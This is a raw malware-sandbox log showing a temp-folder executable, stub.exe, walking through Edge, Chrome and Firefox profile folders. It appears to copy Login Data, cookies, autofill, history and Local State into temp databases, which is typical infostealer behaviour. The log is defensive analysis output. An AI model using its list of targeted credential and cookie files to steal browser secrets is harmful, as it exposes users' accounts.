Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-mobile-hub\ru VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-mobile-hub\sv VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-notification VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-notification-shared VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-notification-shared\fr VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-notification-shared\id VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-notification-shared\ja VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-notification-shared\nl VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-shared-components VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-shared-components\ar VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-shared-components\ru VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-shared-components\sv VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-shared-components\zh-Hant VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-tokenized-card VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-tokenized-card\ar VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-tokenized-card\de VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-tokenized-card\nl VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Mini-Wallet VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Notification VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Tokenized-Card VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Wallet-Checkout VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\FirstPartySetsPreloaded VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\FirstPartySetsPreloaded\2023.9.25.0\_metadata VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GraphiteDawnCache VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GrShaderCache VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\_metadata VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\OriginTrials VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\OriginTrials\0.0.1.4 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\PKIMetadata VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\PKIMetadata\7.0.0.0 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Safe Browsing VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SafetyTips VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SafetyTips\2983 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SafetyTips\2983\_metadata VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Speech Recognition VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Speech Recognition\1.15.0.1 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Subresource Filter VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Subresource Filter\Indexed Rules VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Subresource Filter\Indexed Rules\36 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Subresource Filter\Indexed Rules\36\10.34.0.50 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Subresource Filter\Unindexed Rules VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Trust Protection Lists VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\TrustTokenKeyCommitments VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Typosquatting\1.20231005.1.0 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\WidevineCdm VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\WorkspacesNavigationComponent VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\bookmarkbackups VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\crashes VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\crashes\events VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\archived VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\archived\2023-10 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\glean VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\glean\db VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\glean\events VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\glean\pending_pings VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\datareporting\glean\tmp VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\minidumps VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\saved-telemetry-pings VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\security_state VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\sessionstore-backups VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage\default VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage\permanent VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage\permanent\chrome VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage\permanent\chrome\idb VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.files VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.files VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.files VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage\permanent\chrome\idb\2918063365piupsah.files VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage\permanent\chrome\idb\3561288849sdhlie.files VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.files VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage\temporary VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\storage\to-be-removed VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\c6rta27r.default VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Logins.db VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Logins.db VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Web.db VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Web.db VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Cookies.db VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000005001 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Cookies.db VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\HistoryData.db VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\HistoryData.db VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\DownloadData.db VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\DownloadData.db VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\AutofillData.db VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\AutofillData.db VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: \Device\CdRom0\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb VolumeInformation
